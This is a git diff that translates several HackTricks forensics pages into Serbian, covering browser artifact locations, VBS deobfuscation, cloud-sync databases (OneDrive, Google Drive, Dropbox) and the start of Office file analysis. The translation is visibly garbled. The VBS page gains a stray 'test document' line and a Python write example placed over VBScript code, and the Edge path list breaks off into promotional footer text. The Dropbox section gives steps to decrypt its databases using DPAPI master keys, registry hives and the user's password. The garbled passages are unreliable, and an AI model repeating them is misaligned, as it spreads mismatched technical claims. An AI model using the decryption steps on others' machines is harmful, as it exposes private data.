Microsoft tools such as Skype. +### Čuvanje metapodataka +Metapodaci za Internet Explorer se čuvaju u `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (pri čemu je VX V01, V16 ili V24). Uz to, fajl `V01.log` može pokazivati neslaganja u vremenu izmene sa `WebcacheVX.data`, što ukazuje na potrebu za popravkom korišćenjem `esentutl /r V01 /d`. Ovi metapodaci, smešteni u ESE bazi podataka, mogu se obnoviti i pregledati pomoću alata kao što su photorec i [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). U okviru tabele **Containers**, moguće je razlikovati specifične tabele ili kontejnere u kojima se čuva svaki segment podataka, uključujući detalje keša za druge Microsoft alate kao što je Skype. -### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +### Pregled keša +Alat [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) omogućava pregled keša, uz zahtev za lokacijom fascikle za ekstrakciju podataka iz keša. Metapodaci za keš uključuju ime fajla, direktorijum, broj pristupa, URL poreklo i vremenske oznake koje ukazuju na vreme kreiranja, pristupa, izmene i isteka keša. -### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +### Upravljanje kolačićima +Kolačiće je moguće istražiti pomoću [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i razne detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići čuvaju u memoriji. -### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +### Detalji preuzimanja +Metapodaci o preuzimanjima su dostupni putem [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), pri čemu specifični kontejneri sadrže podatke poput URL-a, tipa fajla i lokacije preuzimanja. Fizički fajlovi se mogu pronaći pod `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +### Istorija pretraživanja +Za pregled istorije pretraživanja može se koristiti [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), uz zahtev za lokacijom izdvojenih fajlova istorije i konfiguracijom za Internet Explorer. Metapodaci ovde uključuju vreme izmene i pristupa, zajedno sa brojem pristupa. Fajlovi istorije se nalaze u `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +### Uneti URL-ovi +Uneti URL-ovi i vremena njihove upotrebe se čuvaju u registru pod `NTUSER.DAT` na lokaciji `Software\Microsoft\InternetExplorer\TypedURLs` i `Software\Microsoft\InternetExplorer\TypedURLsTime`, prateći poslednjih 50 URL-ova unetih od strane korisnika i njihova poslednja vremena unosa. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages`. Putanje za različite vrste podataka su: -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` - -## Safari - -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: - -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. - -## Opera - -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. - -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. - -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. - - -## References -* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) -* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - - -
- -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -
- -Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! - -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +- **Putanja profila**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +- **Istorija, kolačići i preuzimanja**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **Podešavanja, obeleživači i lista za čitanje**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan +* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index e1fb4471c..f8940045e 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,81 +1,80 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-Some things that could be useful to debug/deobfuscate a malicious VBS file: +Neki korisni saveti za debagovanje/deobfuskaciju zlonamernog VBS fajla: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Komentari ```bash ' this is a comment ``` - ## Test +Ovo je testni dokument za proveru prevoda. ```bash cscript.exe file.vbs ``` +## Upisivanje podataka u datoteku -## Write data to a file +Da biste upisali podatke u datoteku, možete koristiti funkciju `Write` u Pythonu. Evo osnovnog primjera: +```python +with open('datoteka.txt', 'w') as f: + f.write('Ovo je primjer teksta koji će biti upisan u datoteku.') +``` + +U ovom primjeru, `datoteka.txt` je naziv datoteke u koju želite upisati podatke. Koristimo `with` izjavu kako bismo se pobrinuli da se datoteka pravilno zatvori nakon upisa. Funkcija `write` se koristi za upisivanje teksta u datoteku. + +Nakon izvršavanja ovog koda, datoteka `datoteka.txt` će biti stvorena (ako već ne postoji) i sadržavat će tekst "Ovo je primjer teksta koji će biti upisan u datoteku." ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 4359365c5..de1802b50 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,138 +1,136 @@ -# Local Cloud Storage +# Lokalno skladištenje u oblaku
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ +Danas dobijte pristup: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Na Windows-u, OneDrive folder se može pronaći u `\Users\\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` foldera moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke u vezi sa sinhronizovanim datotekama: -* Size in bytes -* Creation date -* Modification date -* Number of files in the cloud -* Number of files in the folder -* **CID**: Unique ID of the OneDrive user -* Report generation time -* Size of the HD of the OS +* Veličina u bajtovima +* Datum kreiranja +* Datum modifikacije +* Broj datoteka u oblaku +* Broj datoteka u folderu +* **CID**: Jedinstveni ID OneDrive korisnika +* Vreme generisanja izveštaja +* Veličina HD-a operativnog sistema -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Kada pronađete CID, preporučuje se **pretraga datoteka koje sadrže ovaj ID**. Moguće je pronaći datoteke sa imenom: _**\.ini**_ i _**\.dat**_ koje mogu sadržati zanimljive informacije poput imena datoteka sinhronizovanih sa OneDrive-om. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Na Windows-u, glavni Google Drive folder se može pronaći u `\Users\\AppData\Local\Google\Drive\user_default`\ +Ovaj folder sadrži datoteku nazvanu Sync\_log.log sa informacijama poput adrese e-pošte naloga, imena datoteka, vremenskih oznaka, MD5 heševa datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa odgovarajućim MD5 vrednostima. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme izmene, veličinu i MD5 kontrolnu sumu datoteka. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Podaci tabele baze podataka **`Sync_config.db`** sadrže adresu e-pošte naloga, putanje deljenih foldera i verziju Google Drive-a. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovim\ +Baze podataka se mogu pronaći u folderima: -* `\Users\\AppData\Local\Dropbox` -* `\Users\\AppData\Local\Dropbox\Instance1` -* `\Users\\AppData\Roaming\Dropbox` +* `\Users\\AppData\Local\Dropbox` +* `\Users\\AppData\Local\Dropbox\Instance1` +* `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +A glavne baze podataka su: * Sigstore.dbx * Filecache.dbx * Deleted.dbx * Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Međutim, glavne informacije su: -* **Entropy**: d114a55212655f74bd772e37e64aee9b -* **Salt**: 0D638C092E8B82FC452883F95F355B8E -* **Algorithm**: PBKDF2 -* **Iterations**: 1066 +* **Entropija**: d114a55212655f74bd772e37e64aee9b +* **So**: 0D638C092E8B82FC452883F95F355B8E +* **Algoritam**: PBKDF2 +* **Iteracije**: 1066 -Apart from that information, to decrypt the databases you still need: +Osim tih informacija, za dešifrovanje baza podataka vam je još uvek potrebno: -* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -* The **`SYSTEM`** and **`SECURITY`** hives -* The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -* The **username** and **password** of the Windows user +* **Šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne) +* **`SYSTEM`** i **`SECURITY`** registarske ključeve +* **DPAPI master ključeve**: Koje možete pronaći u `\Users\\AppData\Roaming\Microsoft\Protect` +* **Korisničko ime** i **lozinku** Windows korisnika -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** +Zatim možete koristiti alatku [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** ![](<../../../.gitbook/assets/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Ako sve ide kako se očekuje, alatka će pokazati **primarni ključ** koji vam je potreban da biste **obnovili originalni ključ**. Da biste obnovili originalni ključ, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "passphrase" unutar recepta. +Dobijeni heksadecimalni kod je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +Baza podataka **`config.dbx`** sadrži: -The **`config.dbx`** database contains: +* **Email**: Email korisnika +* **usernamedisplayname**: Ime korisnika +* **dropbox\_path**: Putanja gde se nalazi Dropbox folder +* **Host\_id: Hash**: Koristi se za autentifikaciju na oblaku. Može se povući samo sa veba. +* **Root\_ns**: Identifikator korisnika -* **Email**: The email of the user -* **usernamedisplayname**: The name of the user -* **dropbox\_path**: Path where the dropbox folder is located -* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -* **Root\_ns**: User identifier +Baza podataka **`filecache.db`** sadrži informacije o svim datotekama i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` sadrži najkorisnije informacije: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +* **Server\_path**: Putanja gde se datoteka nalazi na serveru (ova putanja je prethodena `host_id`-om klijenta). +* **local\_sjid**: Verzija datoteke +* **local\_mtime**: Datum izmene +* **local\_ctime**: Datum kreiranja -* **Server\_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -* **local\_sjid**: Version of the file -* **local\_mtime**: Modification date -* **local\_ctime**: Creation date +Druge tabele u ovoj bazi podataka sadrže još interesantnih informacija: -Other tables inside this database contain more interesting information: - -* **block\_cache**: hash of all the files and folders of Dropbox -* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -* **mount\_table**: Share folders of dropbox -* **deleted\_fields**: Dropbox deleted files +* **block\_cache**: heš svih datoteka i fascikli Dropbox-a +* **block\_ref**: Povezuje heš ID tabele `block_cache` sa ID-em datoteke u tabeli `file_journal` +* **mount\_table**: Deljeni folderi Dropbox-a +* **deleted\_fields**: Obrisane datoteke sa Dropbox-a * **date\_added**
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 4dced7582..92f28f576 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,63 +1,60 @@ -# Office file analysis +# Analiza Office fajlova
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih 